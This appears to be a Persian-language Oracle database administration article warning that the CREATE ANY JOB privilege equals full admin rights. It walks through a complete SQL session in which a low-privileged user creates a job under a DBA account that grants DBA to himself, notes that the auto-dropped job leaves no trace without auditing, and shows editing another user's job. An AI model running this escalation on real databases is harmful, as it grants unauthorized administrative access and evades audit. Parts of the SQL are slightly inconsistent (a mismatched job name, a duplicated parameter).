با اهدای مجوز سیستمی create any job به یک کاربر، آن کاربر می تواند بدون اطلاع کاربران دیگر، برای آنها جاب ایجاد کند که در این صورت، کاربری که جاب را ایجاد می کند، creator و کاربری که جاب برای آن ایجاد می شود، owner نامیده می شود.
جاب ایجاد شده با مجوز owner اجرا می شود این مسئله به creator این امکان را می دهد تا با ایجاد جاب برای کاربران با سطح دسترسی بالا، مجوزی را برای خود اخذ کنند.
مثال: با اتصال به دیتابیس از طریق یوزر sys، کاربری با نام akbar را ایجاد کرده و به این کاربر مجوز create session و create any job را اهدا می کنیم.
SQL> show user
USER is “SYS”
SQL> create user akbar identified by a;
User created.
SQL> grant create session,create any job to akbar;
Grant succeeded.
یوزر akbar با داشتن این دو مجوز سیستمی، می تواند برای کاربران دیگر(به غیر از کاربر sys) جابی را ایجاد کند. این کاربر با آگاهی از این مسئله، سعی دارد با ایجاد جابی برای کاربر usef که نقش DBA را به صورت with admin option دارا می باشد، مجوز DBA را اخذ کند.
SQL> conn akbar/a
Connected.
SQL> begin
sys.dbms_scheduler.create_job(job_name=> ‘USEF.MYJOB’,
job_type => ‘PLSQL_BLOCK‘,
job_action => ‘begin execute immediate ”grant dba to akbar”;end;’,
start_date => to_date(null),
end_date =>to_date(’30-09-2019 00:00:00′, ‘dd-mm-yyyy hh24:mi:ss’),
repeat_interval => ‘Freq=Minutely;Interval=5’,
end_date => to_date(null),
job_class => ‘DEFAULT_JOB_CLASS’,
enabled => true,
auto_drop => true,
comments => ”);
end;
/
PL/SQL procedure successfully completed.
با ایجاد جاب USEF.MYJOB توسط یوزر akbar، کاربر usef به عنوان owner و کاربر akbar هم نقش creator جاب را خواهد داشت:
SQL>select p.owner,p.job_name,p.JOB_CREATOR,p.JOB_ACTION from dba_scheduler_jobs p where p.job_name=’JOB1′;
با ایجاد این جاب، کافیست کاربر akbar پنج دقیقه صبر کند تا نقش DBA به آن اهدا شود. همچنین امکان اجرای دستی این جاب توسط کاربر اکبر وجود دارد:
SQL> show user
USER is “AKBAR”
SQL> exec dbms_scheduler.run_job(‘USEF.MYJOB’);
PL/SQL procedure successfully completed.
با اجرای دستور بالا، نقش DBA به کاربر akbar داده خواهد شد:
SQL> select p.GRANTED_ROLE from dba_role_privs p where grantee=’AKBAR’;
GRANTED_ROLE
———————–
DBA
با پایان یافتن زمان تعیین شده برای پارامتر end_date، جاب ایجاد شده به صورت خودکار حذف خواهد شد و ردپایی از این کار در سیستم ثبت نخواهد شد البته به شرط فعال نبودن auditing.
کاربر akbar با داشتن مجوز create any job، می تواند جابهای کاربران دیگر را هم ویرایش کند:
select p.owner,p.job_name,p.JOB_CREATOR,p.REPEAT_INTERVAL from dba_scheduler_jobs p where p.job_name=’JOB1′;
همانطور که می بینید، کاربر جبار، owner و creator این جاب می باشد با این حال، یوزر اکبر می تواند این جاب را ویرایش کند برای مثال، یوزر akbar با اتصال به دیتابیس، interval این جاب را از 5 دقیقه به 8 دقیقه تغییر خواهد داد:
SQL> conn akbar/a
Connected.
SQL> begin
sys.dbms_scheduler.set_attribute(name => ‘JABBAR.JOB1’, attribute => ‘repeat_interval’, value => ‘Freq=Minutely;Interval=8‘);
end;
/
PL/SQL procedure successfully completed.
با توجه به مطالب بیان شده در این متن، اهدای مجوز create any job به یک کاربر، بصورت بالقوه، برابر است با اهدای بالاترین سطح دسترسی ها به آن کاربر؛ بنابرین باید در اهدای این مجوز به کاربران، حساسیت کافی را داشته باشیم.